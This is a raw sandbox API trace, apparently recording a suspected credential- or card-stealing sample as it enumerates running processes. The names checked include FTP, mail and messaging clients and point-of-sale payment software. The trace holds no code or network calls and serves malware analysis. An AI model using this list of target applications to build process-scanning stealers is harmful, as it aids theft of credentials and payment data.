	[0068.490] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0068.491] lstrlenW (lpString="paxiltried.exe") returned 14
	[0068.491] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0068.491] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0068.491] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0068.492] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0068.492] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0068.492] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0068.492] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0068.493] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0068.493] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0068.494] lstrlenW (lpString="ride_australian.exe") returned 19
	[0068.494] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0068.494] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0068.494] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0068.495] lstrlenW (lpString="rc remember.exe") returned 15
	[0068.495] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0068.495] lstrlenW (lpString="records replace.exe") returned 19
	[0068.495] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0068.496] lstrlenW (lpString="isp physiology.exe") returned 18
	[0068.496] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0068.496] lstrlenW (lpString="feb.exe") returned 7
	[0068.496] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0068.497] lstrlenW (lpString="citizenship.exe") returned 15
	[0068.497] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0068.497] lstrlenW (lpString="wifi.exe") returned 8
	[0068.497] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0068.498] lstrlenW (lpString="3dftp.exe") returned 9
	[0068.498] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0068.498] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0068.498] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0068.499] lstrlenW (lpString="alftp.exe") returned 9
	[0068.499] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0068.500] lstrlenW (lpString="barca.exe") returned 9
	[0068.500] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0068.501] lstrlenW (lpString="bitkinex.exe") returned 12
	[0068.501] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0068.502] lstrlenW (lpString="coreftp.exe") returned 11
	[0068.502] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0068.503] lstrlenW (lpString="far.exe") returned 7
	[0068.503] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0068.504] lstrlenW (lpString="filezilla.exe") returned 13
	[0068.504] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0068.505] lstrlenW (lpString="flashfxp.exe") returned 12
	[0068.505] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0068.506] lstrlenW (lpString="fling.exe") returned 9
	[0068.506] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0068.507] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0068.507] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0068.508] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0068.508] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0068.509] lstrlenW (lpString="icq.exe") returned 7
	[0068.509] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0068.509] lstrlenW (lpString="leechftp.exe") returned 12
	[0068.510] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0068.510] lstrlenW (lpString="ncftp.exe") returned 9
	[0068.510] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0068.511] lstrlenW (lpString="notepad.exe") returned 11
	[0068.511] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0068.512] lstrlenW (lpString="operamail.exe") returned 13
	[0068.512] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0068.513] lstrlenW (lpString="pidgin.exe") returned 10
	[0068.513] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0068.514] lstrlenW (lpString="scriptftp.exe") returned 13
	[0068.514] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0068.515] lstrlenW (lpString="skype.exe") returned 9
	[0068.515] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0068.516] lstrlenW (lpString="smartftp.exe") returned 12
	[0068.516] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0068.517] lstrlenW (lpString="thunderbird.exe") returned 15
	[0068.517] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0068.517] lstrlenW (lpString="totalcmd.exe") returned 12
	[0068.518] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0068.518] lstrlenW (lpString="trillian.exe") returned 12
	[0068.518] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0068.519] lstrlenW (lpString="webdrive.exe") returned 12
	[0068.519] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0068.520] lstrlenW (lpString="whatsapp.exe") returned 12
	[0068.520] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0068.521] lstrlenW (lpString="winscp.exe") returned 10
	[0068.521] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0068.568] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0068.568] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0068.569] lstrlenW (lpString="active-charge.exe") returned 17
	[0068.569] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0068.569] lstrlenW (lpString="accupos.exe") returned 11
	[0068.569] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0068.570] lstrlenW (lpString="afr38.exe") returned 9
	[0068.570] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0068.571] lstrlenW (lpString="aldelo.exe") returned 10
	[0068.571] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0068.572] lstrlenW (lpString="ccv_server.exe") returned 14
	[0068.572] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0068.573] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0068.573] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0068.574] lstrlenW (lpString="creditservice.exe") returned 17
	[0068.574] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0068.574] lstrlenW (lpString="edcsvr.exe") returned 10
	[0068.574] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0068.575] lstrlenW (lpString="fpos.exe") returned 8
	[0068.575] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0068.576] lstrlenW (lpString="isspos.exe") returned 10
	[0068.576] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0068.577] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0068.577] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0068.577] lstrlenW (lpString="omnipos.exe") returned 11
	[0068.577] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0068.578] lstrlenW (lpString="spcwin.exe") returned 10
	[0068.578] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0068.579] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0068.579] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0068.579] lstrlenW (lpString="utg2.exe") returned 8
	[0068.580] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0068.580] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0068.580] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0068.581] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0068.581] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0068.582] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0068.582] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0068.583] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0068.583] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0068.583] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0068.583] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0068.584] lstrlenW (lpString="taskhostw.exe") returned 13
	[0068.584] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0068.585] lstrlenW (lpString="taskhostw.exe") returned 13
	[0068.585] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0068.585] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0068.585] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0068.586] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0068.586] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1
	[0068.587] lstrlenW (lpString="sc.exe") returned 6
	[0068.587] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0068.588] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0068.588] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0068.588] lstrlenW (lpString="UsoClient.exe") returned 13
	[0068.588] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0068.589] lstrlenW (lpString="conhost.exe") returned 11
